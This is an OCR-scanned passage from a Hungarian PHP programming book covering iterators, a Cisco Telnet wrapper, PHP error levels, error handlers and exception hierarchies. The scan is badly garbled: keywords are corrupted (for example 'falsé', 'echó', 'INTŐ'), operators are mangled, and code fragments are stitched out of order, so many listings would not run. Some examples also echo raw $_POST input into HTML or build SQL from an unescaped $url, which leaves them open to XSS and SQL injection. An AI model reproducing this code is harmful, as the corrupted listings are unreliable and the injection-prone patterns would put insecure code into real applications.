$a->counter++;
}
print "This page has been accessed ".$a->counter." times.\n";
?>
egész típusú legyen). Az alkalmazás kódjában ezt úgy érhetjük el, hogy saját kezűleg el-
lenőrzünk minden adatot, mielőtt egy változóhoz rendelnénk, de ez igen fárasztóvá vál-
hat, rengeteg kódismétlést igényel, és előbb-utóbb könnyű megfeledkezni róla.
class Typed {
priváté $props = array();
static $types = array (
"counter" => "is_integer",
"name" => "is_string"
);
public function _____ get($name) {
if(array_key_exists($name, $this->props)) {
return $this->props[$name];
}
}
public function _____ set($name,$value) {
if (array_key_exists($name, self::$types)) {
if(call_user_func(self::$types[$name],$value)) {
$this->props[$name] = $value;
}
else {
print "Type assignment error\n";
debug_print_backtrace();
}
}
}
}
Az SPL és a bejárók
Mindkét megelőző példában olyan objektumokat hoztunk létre, amelyektől tömbszerű vi-
selkedést vártunk. Nagyrészt sikerrel jártunk, de hozzáféréskor még mindig objektumként
kell kezelnünk őket. Ez például működik:
$value = $obj->name;
$value = $obj['name'];
Mivel a meghatározás C kódon belül szerepel, természetesen nem ezt fogjuk látni, de
PHP-re fordítva így festene.
Az alábbi kód most már nem működik, hiszen eltávolítottuk a túlterhelt elérő műveleteket:
interface Iterator {
function rewind();
function hasMore();
function key();
function current();
function next();
}
Az alábbi kód lehetővé teszi, hogy az objektumot ne csak f oreach (), hanem f or () cik-
lusokban is használhassuk:
class DB_Result {
protected $stmt;
protected $result = array();
protected $rowIndex = 0;
protected $currlndex = 0;
protected $max = 0;
protected $done = falsé;
function rewind() {
$this->currlndex = 0;
}
function hasMore() {
if ($this->done && $this->max == $this->currlndex) {
return falsé;
}
return true;
}
function key() {
return $this->currlndex;
}
function current() {
return $this->result[$this->currlndex];
}
function next() {
if ($this->done &&) {
return falsé;
}
$offset = $this->currlndex + 1;
if(!$this->result[$offset]) {
$row = $this->stmt->fetch_assoc();
if(!$row) {
$this->done = true;
$this->max = $this->currlndex;
return falsé;
}
$this->result[$offset] = $row;
++$this->rowIndex;
++$this->currIndex;
return $this;
}
else {
++$this->currlndex;
return $this;
}
}
}
Ha az osztály bejárójaként nem szeretnénk külön osztályt létrehozni, de a felület által nyúj-
tott finom vezérlésre továbbra is szükségünk van, természetesen megtehetjük, hogy egyet-
len osztály valósítja meg mind az IteratorAggregate, mind az Iterator felületet.
function next() {
$this->current = dba_nextkey($this->db);
}
function valid() {
return ($this->current == falsé)?false:true;
}
function key() {
return $this->current;
}
}
?>
Mivel az útválasztót csak a Telneten át érhetjük el, a PEAR Net_Telnet osztályát fogjuk bő-
víteni, hogy biztosítsuk az elérési réteget. A Telnet részleteivel a szülőosztály foglalkozik, így
osztályunkban csak két valódi függvényre lesz szükség. Az első, a login (), a bejelentke-
zést kezeli; a jelszókérő jelre vár, és amikor az megérkezik, elküldi a bejelentkező adatait.
2. fejezet • Objektumközpontú programozás tervezési minták segítségével 69
PEAR
A PHP a 4.3-as kiadás óta tartalmazza a PEAR telepítőt, amelyet a parancssorból a követ-
kezőképpen indíthatunk el:
> pear
A végrehajtást lehet, hogy csak rendszergazdaként (root) tehetjük meg. Az összes elérhető
PEAR csomagot az alábbi paranccsal írathatjuk ki:
• Ha meg nem valósított parancsot hívunk meg, nem árt, ha naplózzuk a hibát. (Eset-
leg használhatjuk a die () -t is vagy kivételt válthatunk ki. A 3. fejezetben részlete-
sen tárgyaljuk a hibakezelő eljárásokat.)
require_once "Net/Telnet.php";
class Cisco_RPC extends Net_Telnet {
protected $password;
function _ _construct($address, $password,$prompt=false)
{
parent::__ construct($address) ;
$this->password = $password;
$this->prompt = $prompt;
}
function login()
{
$response = $this->read_until("Password:") ;
$this->_write($this->password);
$response = $this->read_until("$this->prompt>");
}
function _ _call($func, $var) {
$func = str_replace("_", " ", $func);
$func .= " ".implode(" ", $var);
$this->_write($func);
$response = $this->read_until("$this->prompt>");
if($response === falsé II strstr($response, "%Unknown command")) {
error_log("Cisco command $func unimplemented", E_USER_WARNING) ;
}
else {
return $response;
}
}
}
_ _autoload()
function _ _autoload($classname) {
$filename = str_replace( " _ " , " / " , $classname). '. php';
include_once $filename;
}
<?php
$telnet = new Net_Telnet;
? >
További olvasmányok
Rengeteg kitűnő könyv létezik az objektumközpontú programozásról és a tervezési min-
tákról, de az én személyes kedvenceim egyértelműen a következők:
• Külső hibák - Olyan hibák, amelyeknél a kód nem várt módon kezd futni egy olyan
programrész következtében, ami nem várt módon működik. Ilyen például, ha nem
sikerül kapcsolódni egy adatbázishoz, pedig a kód sikeres kapcsolódást követel meg.
• Kódlogikai hibák - Ezekre a hibákra hivatkoznak angolul ,,bug' (bogár) néven; olyan
hibák, amelyeknél maga a kód hibás, mert vagy nem működő logikára épül, vagy
elírtuk.
• Külső hibákra mindig lehet számítani; nem számít, hogy maga a kód helyes-e. Mi-
vel ezek a programtól függetlenek, önmagukban nem is tekinthetők hibáknak.
• Az olyan külső hibák, amelyekre nem számítunk a kódban, lehetnek igazi hibák.
Ha például naivan azt feltételezzük, hogy az adatbázishoz való kapcsolódás mindig
sikerrel jár, hibát vétünk, mert így az alkalmazás szinte biztosan helytelenül reagál,
ha a kapcsolat mégsem jön létre.
• A kódlogikai hibákat jóval nehezebb nyomon követni, mint a külső hibákat, hiszen
helyüket nyilván nem ismerjük. Mindazonáltal az adatkövetkezetesség ellenőrzésé-
vel felfedhetők.
A PHP rendelkezik beépített hibakezeléssel, illetve egy, a hiba súlyosságát vizsgáló rend-
szerrel, ami lehetővé teszi, hogy csak azokról a hibákról értesüljünk, amelyek elég komo-
lyak ahhoz, hogy érdekesek legyenek számunkra. A PHP-ben a hibáknak három súlyos-
sági szintje létezik:
• E_NOTICE
• E_WARNING
• E ERROR
74 PHP fejlesztés felsőfokon
<?php
$variable++;
?>
<?php
$variable = 0;
$variable++;
?>
<?php
$variable = 0;
$variabel++;
?>
A gond csak az, hogy nem a $variable, hanem a $variabel értékének növelésére ke-
rül sor. Az E_N0TICE az ilyen hibákra figyelmeztet, hógy elkaphassuk azokat. Olyan,
mintha egy Perl programot a use warnings és a use strict utasítással futtatnánk, vagy
egy C programot a -Wall kapcsolóval fordítanánk le.
Az E_WARNING hibák nem végzetes futásidejű hibák. Nem állítják meg és nem módosítják
a programvezérlést, csak jelzik, hogy valami rossz történt. Számos külső hiba eredményez
E_WARNING figyelmeztetést; ilyen például, amikor a mysql_connect () -hez az f open () -t
hívjuk meg.
3. fejezet • Hibakezelés 75
Ahhoz, hogy saját hibákat határozzunk meg, a PHP a trigger_error () függvényt bo-
csátja rendelkezésünkre. A felhasználó háromféle hibát válthat ki, melyek hasonlóak az
eddig tárgyaltakhoz.-
• E_USER_NOTICE
• E_USER_WARNING
• E_USER_ERROR
while(Ifeof($fp)) {
$line = f g e t s ( $ f p ) ;
if(!parse_line($line)) {
trigger_error("Incomprehensible data encountered", E_USER_NOTICE);
}
}
error_reporting = E_ALL
76 PHP fejlesztés felsőfokon
A hibák kezelése
Most, hogy láttuk, milyen hibajelzéseket ad a PHP, ki kell dolgoznunk a hibák kezelésé-
nek tervét. A PHP az error_reporting-nak megfelelően négy választási lehetőséget
nyújt a hibakezelésre:
• A hibák megjelenítése.
• A hibák naplózása.
• A hibák figyelmen kívül hagyása.
• Műveletek végzése hiba esetén.
Egyik lehetőség sem fontosabb a másiknál; egy erőteljes hibakezelő rendszerben mind-
egyik fontos szerepet tölt be. A hibák megjelenítése nagyon jó szolgálatot tehet a fejlesz-
tőkörnyezetben, míg a naplózás a munkakörnyezetben megfelelőbb. Egyes hibák nyu-
godtan figyelmen kívül hagyhatók, míg mások választ kívánnak. A felsorolt hibakezelési
módszerek megfelelő keverése az igényektől függ.
A hibák megjelenítése
Ha a hibák megjelenítése mellett döntünk, hibaüzenetet küldünk a szabványos kimeneti
folyamra, ami egy weblap esetében azt jelenti, hogy a böngészőnek. A beállítás a php. ini
állományban a következőképpen kapcsolható be:
display_errors = On
A display_errors a fejlesztés során sokat segít, mert e beállítás révén azonnal vissza-
jelzést kapunk arról, hogy mi is csúszott félre. Nem kell naplófájlt böngésznünk vagy bár-
mi mást tennünk, csak betölteni az építés alatt álló weblapot.
3. fejezet • Hibakezelés 77
Ugyanakkor amit a fejlesztő jó, hogy lát, a végfelhasználót gyakran zavarja. A PHP hiba-
üzenetek megjelenítése számukra általában három okból nem kívánatos:
• Csúnyák.
• Azt sugallják, hogy a webhely hibás.
• Olyan részleteket árulhatnak el a háttérben futó kódról, amit a rosszindulatú fel-
használók kihasználhatnak.
A harmadik pont jelentőségét nem lehet eléggé hangsúlyozni. Ha azt szeretnénk, hogy
a kódban esetlegesen előforduló biztonsági lyukakat megtalálják és kihasználják, nincs
gyorsabb módszer, mint működési környezetben, a display_errors beállítást bekap-
csolva futtatni a programot. Megtörtént egyszer, hogy egy különösen nagy forgalmú
webhelyen egy rossz INI fájl néhány hiba miatt kikerült a képernyőkre. Amint észrevet-
tük, azonnal kicseréltük a fájlt a webkiszolgálókon a javított változatra, és úgy gondoltuk,
ez az egyedi eset csak a büszkeségünkön ejtett csorbát. Másfél évvel később elkaptunk
egy kódtörőt, aki rendszeresen belerondított mások honlapjaiba. Cserébe azért, hogy nem
indíttattunk ellene eljárást, hajlandó volt elárulni nekünk, milyen gyenge pontokat talált
a rendszerben. A szokásos JavaScript-trükkökön kívül (a webhelyen számos felhasználó
futtatott saját fejlesztésű JavaScript-tartalmat) néhány rendkívül ügyes programtörési mód-
szerére derült fény, amelyeket annak a kódnak az alapján dolgozott ki, ami az előző év-
ben, csupán órákig volt kinn a Hálón.
A fenti három hiba együtt kiszolgáltatja az adatbázist mindazok számára, akik a webhe-
lyen hibaüzenetet tartalmazó lapot látnak. Valószínűleg megdöbbennénk, ha tudnánk, mi-
lyen gyakran fordul ez elő.
Az, hogy miként értesítjük a felhasználókat a hibákról, gyakran üzletpolitikai kérdés. Min-
den nagy ügyfél, akiknek dolgoztam, szigorúan szabályozta, mit kell tenni, ha a felhasz-
náló hibával találkozik. A megoldások az egyedi hibaoldalak megjelenítésétől a keresett
tartalom valamilyen tárolt változatát megjelenítő bonyolult programokig terjedtek. Üzleti
szempontból ez teljesen érthető: a webes jelenlét az ügyfelekkel való kapcsolattartás
módja, így a hibák kezelése az egész vállalkozás megítélésére kihathat.
Attól függetlenül, hogy pontosan milyen tartalmat is jelenítünk meg váratlan hibák esetén
a felhasználók számára, hibakeresési információkat biztosan nem mutatnék nekik. A hiba-
üzenetben szereplő információmennyiségtől függően ez ugyanis jelentős támadási felüle-
tet nyújtana.
így minden oldalt, ami az 500-as állapotkódot adja vissza, a /custom-error .php címre
irányítunk át (belsőleg, vagyis a felhasználó számára láthatatlanul).
A fejezet későbbi, Felső szintű kivételkezelő beállítása című részében egy másik, kivétel
alapú megoldást láthatunk.
A hibák naplózása
A PHP belsőleg támogatja mind a hibák egy adott fájlban, mind a syslog-on keresztül
történő naplózását, a php. ini állomány két beállítása segítségével. Az alábbi beállítással
adhatjuk meg, hogy a hibákat naplózni kell:
log_errors = On
3. fejezet • Hibakezelés 79
A következővel pedig azt állíthatjuk be, hogy fájlba vagy a rendszernaplóba (syslog) ír-
juk-e a hibát:
error_log = /path/to/filename
error_log = syslog
Vegyünk egy függvényt, amely egy esetleg nem létező állomány tartalmát kéri:
$content = file_get_content($sometimes_valid);
$content = @file_get_content($sometimes_valid);
<?php
require "DB/Mysql.inc";
function user_error_handler($severity, $msg, $filename, $linenum) {
$dbh = new DB_Mysql_Prod;
$query = "INSERT INTŐ errorlog
(severity, message, filename, linenum, time)
VALUES(?,?,?,?, NOW())";
$sth = $dbh->prepare($query);
switch($severity) {
case E_USER_NOTICE:
$sth->execute('NOTICE', $msg, $filename, $linenum);
break;
case E_USER_WARNING:
$sth->execute('WARNING', $msg, $filename, $linenum);
break;
case E_USER_ERROR:
$sth->execute('FATÁL', $msg, $filename, $linenum);
echó "FATÁL error $msg at $filename:$linenum<br>";
break;
default:
echó "Unknown error at $filename:$linenum<br>";
break;
}
}
?>
3. fejezet • Hibakezelés 81
set_error_handler("user_error_handler");
Ha a program hibát észlel, ezután nem a hibanaplóba ír vagy hibaüzenetet jelenít meg, ha-
nem a hibát egy adatbázis-táblába jegyzi be, illetve ha végzetes hibáról van szó, üzenetet is
ír a képernyőre. Jegyezzük meg, hogy a hibakezelők nem nyújtanak programvezérlési le-
hetőséget. Nem végzetes hiba esetén a feldolgozás befejeztével a program a hiba helyétől
folytatódik, míg végzetes hibánál a program a hibakezelő lefutása után befejeződik.
Levélküldés önmagunknak
Jó ötletnek tűnhet, hogy olyan egyéni hibakezelőt állítsunk be, amely hiba esetén
a mail () függvénnyel elektronikus levelet küld a fejlesztőnek vagy a rendszergazdának,
de az sajnos nagyon rossz megoldás.
<?php
function get_passwd_info($user) {
$fp = fopen("/etc/passwd", "r");
while(!feof($fp)) {
$line = fgets($fp);
$fields = explode(";", $line);
if($user == $ fi e l d s [ 0 ] ) {
return $fields;
}
}
return falsé;
}
?>
Ebben a formában a kód két hibát tartalmaz: az egyik tisztán kódlogikai hiba, de a másik
egy lehetséges külső hibáról feledkezik meg. Ha a programot futtatjuk, az alábbihoz ha-
sonló elemekkel feltöltött tömböt kapunk:
<?php
print_r(get_passwd_info('www'));
?>
Array
(
[0] => www:*:70:70:
«* World Wide Web Server:/Library/WebServer:/noshell
)
Ez azért következik be, mert az első hiba az, hogy a passwd fájlban a mezőelválasztó
nem pontosvessző, hanem kettőspont. Ez hibás:
A másik hibát nehezebb észrevenni. Ha a passwd fájl megnyitása nem sikerül, E_WARNING
hibát kapunk, de a program futása zavartalanul folytatódik. Ha a megadott felhasználó nem
szerepel a passwd állományban, a függvény falsé értéket ad vissza. Csakhogy a visszaté-
rési érték akkor is falsé, ha az fopen nem sikerült, ami elég zavaró.
3. fejezet • Hibakezelés 83
<?php
function get_passwd_info($user) {
$fp = fopen("/etc/passwd", "r");
if(!is_resource($fp)) {
return "Error opening filé";
}
while(!feof($fp)) {
$line = fgets($fp);
$fields = explode(":", $line);
if($user == $f ields [0] ) {
return $fields;
}
}
return falsé;
}
?>
Esetleg beállíthatunk egy olyan értéket, ami általában nem érvényes visszatérési érték:
<?php
function get_passwd_info($user) {
$fp = fopen("/etc/passwd", "r");
if(!is_resource($fp)) {
return -1;
}
while(!feof($fp)) {
$line = fgets($fp);
$fields = explodeí":", $line);
if ($user == $fields[0]) {
return $fields;
}
}
return falsé;
}
?>
84 PHP fejlesztés felsőfokon
<?php
function is_shelled_user($user) {
$passwd_info = get_passwd_info($user) ;
if (is_array($passwd_info) && $passwd_info[7] != '/bin/false') {
return 1;
}
else if($passwd_info === -1) {
return -1;
}
else {
return 0;
}
}
?>
<?php
$v = is_shelled_user('www');
i f ( $ v === 1) {
echó "Your Web server user probably shouldn't be shelled.\n";
}
else if($v === 0) {
echó "Great!\n";
}
else {
echó "An error occurred checking the user\n";
}
?>
Ha a megoldást csúnyának és zavarosnak találjuk, az azért van, mert az is. Saját kezűleg,
több hívón keresztül felfelé terjeszteni a hibákat nehézkes, és ez az egyik fő oka annak,
hogy egyes programozási nyelvekben bevezették a kivételeket. Szerencsére a kivételek
a PHP5-től kezdve már a PHP-ben is alkalmazhatók. A fenti példa esetében ugyan lehet-
séges, hogy elő tudunk állítani valamilyen működőképes kódot, de mi történne, ha a kér-
déses függvény (érvényesen) visszaadhatna valamilyen számot is? Hogyan lehetne akkor
egyértelműen továbbítani a hibát felfelé? Ami pedig az egész katyvaszban a legrosszabb:
a bonyolult hibakezelő rendszer nem helyileg azokban a függvényekben kap helyet, ame-
lyek megvalósítják, hanem feljebb. Ráadásul a hívási hierarchiában található minden függ-
vénynek értenie és kezelnie kell a hibákat.
3. fejezet • Hibakezelés 85
Kivételek
A PHP5 előtt csak az eddig tárgyalt megoldások voltak elérhetők a nyelvben, ami bizony
komoly gondokat okozott, különösen nagyobb alkalmazások írásakor. Az elsődleges
probléma az volt, hogy a hibákat egy ismeretlen, a könyvtárt felhasználó kódnak kellett
visszaadni. Emlékezzünk vissza az imént megvalósított hibaellenőrzésre a passwd fájlt ol-
vasó függvényben.
A példában szereplő függvényben az első megoldást azért nem választottuk, mert a könyv-
tár előfeltételezéssel élt volna azzal kapcsolatban, hogy az alkalmazás milyen hibakezelést
vár tőle. Ha például egy adatbázis-ellenőrző programot írunk, a hibákat valószínűleg igen
részletesen kívánjuk a legfelsőbb szintű hívónak továbbítani, míg egy webes alkalmazás-
ban csak egy hibaoldalra szeretnénk irányítani a felhasználót.
A példában tehát a második módszert választottuk, pedig az sem sokkal jobb az elsőnél.
Az a gond vele, hogy jelentős előrelátást és pontos tervezést igényel, hogy biztosíthassuk,
hogy a hibák helyesen továbbítódnak az alkalmazáson belül. Ha egy adatbázis-lekérdezés
például egy karakterláncot ad vissza, hogyan különböztetjük azt meg egy szöveges hiba-
üzenettől?
Ezenkívül a továbbítást magunknak kell kódolnunk: minden lépésnél saját kezűleg kell
felterjesztenünk a hibát a hívónak, felismertetni vele, hogy hibáról van szó, majd tovább-
adni vagy kezelni. Az előző részben már láthattuk, milyen nehéz is ez.
A kivételeket pont az ilyen helyzetek kezelésére találták ki. A kivétel olyan vezérlési szer-
kezet, amely lehetővé teszi, hogy a végrehajtás aktuális folyamatát megállítsuk, és a ver-
met egy adott pontig visszabontsuk. A fellépő hibát egy objektum jelképezi, amit kivétel-
ként állítunk be.
Ezt kapjuk:
> php uncaught-exception.php
Az el nem fogott kivételek végzetes hibák, vagyis magukat a kivételeket is kezelnünk kell.
Ha figyelmeztetésként vagy lehetséges nem végzetes hibaként kivételeket alkalmazunk
egy programban, az adott kódblokk minden hívójának tudnia kell, hogy kivétel kiváltásá-
ra kerülhet sor, és fel kell készülnie annak kezelésére.
Itt kivételt váltunk ki, de egy try blokkban, így a végrehajtás megáll, és előreugrunk
a catch blokkra. A catch egy Exception osztályt kap el (a „dobott" osztályt), így an-
nak blokkjába lépünk be. A catch blokkot általában arra használjuk, hogy a bekövetke-
zett hiba következtében adódó szükséges takarítást elvégezzük.
Említettük korábban, hogy nem szükséges, hogy a kiváltott kivétel az Exception osztály
példánya legyen. íme egy példa, amelyben valami más szerepel:
<?php
class AltException {} ^
try {
throw new AltException;
}
3. fejezet • Hibakezelés 87
Tehát nem sikerült elkapnunk a kivételt, mert AltException osztályba tartozó objektu-
mot dobtunk, a kód viszont csak Exception osztályú objektumokra készült fel.
Nézzünk egy kevésbé triviális példát arra, hogyan lehet egy egyszerű kivétellel hibakeze-
lést megvalósítani régi kedvencünkben, a faktoriális függvényben. Ez a függvény csak ter-
mészetes számokkal (vagyis nullánál nagyobb egészekkel) képes dolgozni; a bemenet el-
lenőrzését úgy építhetjük be a programba, hogy kivételt váltunk ki, ha érvénytelen adat
érkezik:
<?php
// factorial.inc
// Egyszerű faktoriális függvény
function factorial($n) {
if(!preg_match{'/~\d+$/',$n) II $n < 0 ) {
throw new Exception;
} else if ($n ==0 II $n == 1) {
return $n;
}
else {
return $n * factorial($ n - 1 );
}
}
?>
<html>
<form method="POST">
Compute the factorial of
<input type="text" name="input" value="<?= $_POST['input'] ?>"><br>
<?php
include "factorial.inc";
if($_POST['input']) {
try {
$input = $_POST['input'];
$output = factorial($input);
echó "$_POST[input]! = $output";
}
catch (Exception $e) {
echó "Only natural numbers can have their factorial computed.";
}
}
?>
<br>
<input type="submit" name="posted" value="Submit">
</form>
Kivételhierarchiák használata
Egy try-hoz több catch blokkot is rendelhetünk, ha a különféle hibákat különbözőkép-
pen szeretnénk kezelni. A faktoriális példát például úgy módosíthatjuk, hogy azokat az
eseteket is kezelje, amikor a $n túl nagy a PHP matematikai lehetőségeihez képest:
class OverflowException {}
class NaNException {}
function factorial($n)
{
if ( !preg_match( ' //v\d+$/ ' , $n) I I $n < 0 ) {
throw new NaNException;
}
else if ($n ==0 II $n == 1) {
return $n;
}
<?php
if($_POST['input']) {
try {
$input = $_POST['input'];
$output = factorial($input);
echó "$_POST[input]! = $output";
}
catch (OverflowException $e) {
echó "The requested value is too large.";
}
catch (NaNException $e) {
echó "Only natural numbers can have their factorial
computed.";
}
}
?>
A kód jelenlegi formájában külön fel kell sorolnunk minden lehetséges esetet, ami egy-
részt fárasztó, másrészt veszélyes lehet, mert a könyvtárak növekedésével a lehetséges ki-
vételek halmaza is nő, így egyre könnyebb lesz megfeledkezni valamelyikről.
<?php
if<$_POST['input']) {
try {
$input = $_POST['input'];
$output = factorial($input);
echó "$_POST[input]! = $output";
}
catch (OverflowException $e) {
echó "The requested value is too large.";
}
catch (MathException $e) {
echó "A generic math error occurred";
}
90 PHP fejlesztés felsőfokon
Ebben az esetben, ha Overf lowException hiba lép fel, azt az első catch blokk kapja el.
Ha a MathException bármely más leszármazottját dobjuk (például egy NaNException-t),
a második catch blokk lép működésbe. Végül az első kettő által le nem fedett más Excep-
tion-leszármazottakat kapjuk el.
Maga az alap-kivételosztály többre képes annál, mint amit eddig megtudtunk róla. Beépí-
tett osztály, vagyis megvalósítása C és nem PHP nyelvű. Nagyjából így néz ki:
class Exception {
Public function _______ construct($message=false, $code=false) {
$this->file =________ FILÉ___ ;
$this->line =_______ LINE___;
$this->message = $message; // a hibaüzenet karakterláncként
$this->code = $code; // a számmal jelzett hibakódok helye
}
public function getFileO {
return $this->file;
}
public function getLineO {
return $this->line;
}
public function getMessage() {
return $this->message;
}
public function getCode() {
return $this->code;
}
}
3. fejezet • Hibakezelés 91
A__ FILÉ__ és a___ LINE__ átvizsgálása az utolsó hívóért általában nem nyújt hasznos
információt. Tegyük fel, hogy úgy döntünk, kivételt váltunk ki, ha a DB_Mysql burkoló
könyvtárban gondunk van egy lekérdezéssel:
class DB_Mysql {
// .. .
public function execute($query) {
if (!$this->dbh) {
$this->connect() ;
}
$ret = mysql_query($query, $this->dbh);
if(!is_resource($ret)) {
throw new Exception;
}
return new MysqlStatement($ret) ;
}
}
<?php
require_once "DB.inc";
try {
$dbh = new DB_Mysql_Test;
// ... lekérdezések végrehajtása az adatbázis-kapcsolaton
$rows = $dbh->execute("SELECT * FROM")->fetchall_assoc();
}
catch (Exception $e) {
print_r($e);
}
?>
exception Object
(
[filé] => /Users/george/Advanced PHP/examples/chapter-3/DB.inc
[line] => 42
)
A DB. inc 42. sora maga az execute () utasítás! Amennyiben a try blokkon belül több
lekérdezést is végrehajtunk, nem tudjuk megállapítani, melyik okozta a hibát. Sőt, a hely-
zet még ennél is rosszabb: ha saját kivételosztályt használunk, és magunk állítjuk be
a $f ile és $line változókat (vagy a parent: :________ contsruct-ot hívjuk meg az
Exception konstruktorának futtatásához), az lesz az eredmény, hogy a_______ FILÉ__ és
a__ LINE__ első hívó lesz maga a konstruktőr. Amit azonban mi szeretnénk, az a teljes
visszakövetés a probléma helyétől.
92 PHP fejlesztés felsőfokon
class DB_Mysql {
public function execute($query) {
if ( !$this->dbh) {
$this->connect() ;
}
$ret = mysql_query($query, $this->dbh);
if(!is_resource($ret)) {
throw new MysqlException;
}
return new MysqlStatement($ret) ;
}
}
<?php
require_once "DB. i n c";
try {
$dbh = new DB_Mysql_Test;
// ... lekérdezések végrehajtása az adatbázis-kapcsolaton
$rows = $dbh->execute("SELECT * FROM")->fetchall_assoc();
}
catch (Exception $e) {
print_r ($e) ; "*-
}
?>
3. fejezet • Hibakezelés 93
mysqlexception Object
(
[backtrace] => Array
(
[0] => Array
(
[fi l é ] => /Users/george/Advanced PHP/examples/chapter-3/DB.inc
[line] => 45
[function] => _____ construct
[class] => mysqlexception
[type] => ->
[args] => Array
(
)
)
[1] => Array
(
[filé] => /Users/george/Advanced PHP/examples/chapter-3/test.php
[line] => 5
[function] => execute
[class] => mysql_test
[type] => ->
[args] => Array
(
[0] => SELECT * FROM
)
)
)
[message] => You have an error in your SQL syntax near '' at line 1
[code] => 1064
)
A korábbi kivétellel összehasonlítva most rengeteg információt kapunk:
• a hiba helyét,
• azt, hogy hogyan jutott a program a hibáig, valamint
• a hibához kapcsolódó MySQL információkat.
if(!$code) {
$this->code = mysql_errno();
}
$this->backtrace = debug_backtrace();
}
}
class DB_Mysql {
protected $user;
protected $pass;
protected $dbhost;
protected $dbname;
protected $dbh;
class DB_MysqlStatement {
protected $result;
protected $binds;
public $query;
protected $dbh;
public function __ construct($dbh, $query) {
$this->query = $query;
$this->dbh = $dbh;
if(!is_resource($dbh)) {
throw new MysqlException("Not a valid database connection");
}
}
public function bind_param($ph, $pv) {
$this->binds[$ph] = $pv;
}
public function execute() {
$binds = func_get_args() ;
foreach($binds as $index => $name) {
$this->binds[$index + 1] = $name;
}
$cnt = count($binds) ;
$query = $this->query;
foreach ($this->binds as $ph => $pv) {
$query = str_replace(":$ph",.... mysql_escape_string($pv)....,
«ü» $query) ;
}
$this->result = mysql_query($query, $this->dbh);
if ( !$this->result) {
throw new MysqlException;
}
}
public function fetch_row() {
if ( !$this->result) {
throw new MysqlException("Query not executed");
}
return mysql_fetch_row($this->result);
}
public function fetch_assoc() {
return mysql_fetch_assoc($this->result);
}
public function fetchall_assoc() {
$retval = arrayO;
while($row = $this->fetch_assoc()) {
$retval[] = $row;
}
return $retval;
}
}
? >
96 PHP fejlesztés felsőfokon
A kivételek táncolása
Néha szükség lehet arra, hogy kezeljünk egy hibát, de emellett tovább is adjuk további hi-
bakezelőknek. Ezt úgy tehetjük meg, hogy a catch blokkban új kivételt váltunk ki:
<?php
try {
throw new Exception;
}
catch (Exception $e) {
print "Exception caught, and rethrown\n";
throw new Exception;
}
?>
A catch blokk elfogja a kivételt, kiírja a hibaüzenetet, majd új kivételt dob. Az előző pél-
dában nem szerepelt az új kivétel kezelésére szolgáló catch blokk, ezért azt nem tudjuk
elkapni. Figyeljük meg, mi történik, ha futtatjuk a kódot:
<?php
try {
throw new Exception;
}
catch (Exception $e) {
print "Exception caught, and rethrown\n";
throw $e;
}
?>
A kivételek újradobásának lehetősége azért fontos, mert nem lehetünk biztosak benne,
hogy egy elfogott kivételt valóban kezelni szeretnénk. Tegyük fel például, hogy vissza sze-
retnénk követni webhelyünkön a hivatkozásokat. Ehhez az alábbi táblával rendelkezünk:
A táblában való kereséssel megállapíthatjuk, hogy létezik-e az URL sora, és annak alapján
kiválaszthatjuk a megfelelő lekérdezést. Emögött azonban meghúzódik egy feltételezés;
ugyanis ha két, ugyanarról az URL-ről érkező hivatkozást két különböző folyamat egy-
szerre dolgoz fel, az egyik beszúrás sikertelen lehet.
<?php
include "DB.inc";
function track_referrer($url) {
$insertq = "INSERT INTŐ referrers (url, count) VALUES(:1, :2)";
$updateq = "UPDATE referrers SET count=count+l WHERE url = :1";
$dbh = new DB_Mysql_Test;
try {
$sth = $dbh->prepare($insertq) ;
$sth->execute($url, 1);
}
catch (MysqlException $e) {
if($e->getCode == 1062) {
$dbh->prepare($updateq)->execute($url);
}
else {
throw $e;
}
}
}
?>
A másik megoldás, hogy tisztán típusos kivételt alkalmazunk, és maga az execute a hiba
alapján különböző kivételeket vált ki:
class Mysql_Dup_Val_On_Index extends MysqlException {}
//...
class DB_Mysql {
// ...
98 PHP fejlesztés felsőfokon
function track_referrer($url) {
$insertq = "INSERT INTŐ referrers ( ur l , count) VALUES('$url' , 1)";
$updateq = "UPDATE referrers SET count=count+l WHERE url = '$url'";
$dbh = new DB_Mysql_Test;
try {
$sth = $dbh->execute($insertq);
}
catch (Mysql_Dup_Val_On_Index $e) {
$dbh->execute($updateq);
}
}
Mindkét módszer megfelel; csak ízlésünktől és az alkalmazott stílustól függ, melyiket vá-
lasztjuk. Ha a típusos kivételek mellett döntünk, nagyobb rugalmasságot érhetünk el, ha
a Gyár minta segítségével állítjuk elő a hibákat, mint itt is:
class MysqlException {
// . . .
static function createError($message=false, $code=false) {
i f( !$ cod e) {
$code = mysql_errno() ;
}
if(!$message) {
$message = mysql_error();
}
3. fejezet • Hibakezelés 99
switch($code) {
case 1062:
return new Mysql_Dup_Val_On_Index($message, $code);
break;
default:
return new Mysql_Exception($message, $code);
break;
}
}
}
A jobb olvashatóság további előnyt jelent. Nem valamilyen titokzatos állandót dobunk, ha-
nem egy beszédes osztálynevet használunk. Ennek jelentőségét nem szabad alábecsülni.
Most már ahelyett, hogy adott hibákat váltanánk ki a kódban, elég ezt írnunk:
throw MysqlException::createError();
Az első megoldás nem túl elegáns, és komolyan nem is vesszük fontolóra. A második
azonban meglehetősen általános módja a hibázó konstruktőrök kezelésének; a PHP4-ben
ez egyenesen a javasolt módszer.
class Stillborn {
public function______ construct() {
throw new Exception;
}
public function___ destruct() {
print "destructing\n" ;
}
}
try {
$sb = new Stillborn;
}
catch(Stillborn $e) {}
>php stillborn.php
>
A Stillborn osztály azt illusztrálja, hogy az objektum destruktorai nem hívódnak meg,
ha a konstruktorban kivétel keletkezik. Ennek oka az, hogy az objektum valójában nem is
létezik, ha a konstruktőrből nem térünk vissza.
_
3. fejezet • Hibakezelés 101
function default_exception_handler($exception) {}
$old_handler = set_exception_handler('default_exception_handler');
A felhasználói kivételkezelők egy veremben tárolódnak, ezért a korábbi kezelőt úgy állít-
hatjuk vissza, hogy annak egy másolatát a verem tetejére helyezzük:
set_exception_handler($old_handler);
restore_exception_handler();
Ez jelentős rugalmasságot nyújt, például abban az esetben, ha egy felhasználót egy lap
előállítása közben fellépett hiba miatt másik oldalra kell átirányítanunk. Ahelyett, hogy
minden kérdéses utasítást önálló try blokkba csomagolnánk, beállíthatunk egy alapértel-
mezett kivételkezelőt, ami az átirányítást kezeli. Mivel hiba akkor is bekövetkezhet, ami-
kor az oldal egy része már megjelent, az átmeneti kimenettárolást be kell kapcsolnuk. En-
nek egyik módja, hogy minden beágyazott program (szkript) elején meghívjuk ezt:
ob_start();
output_buffering = On
kódot beszúrnunk erre a célra. Én ha olyan kódot írok, amiről tudom, hogy csak a saját
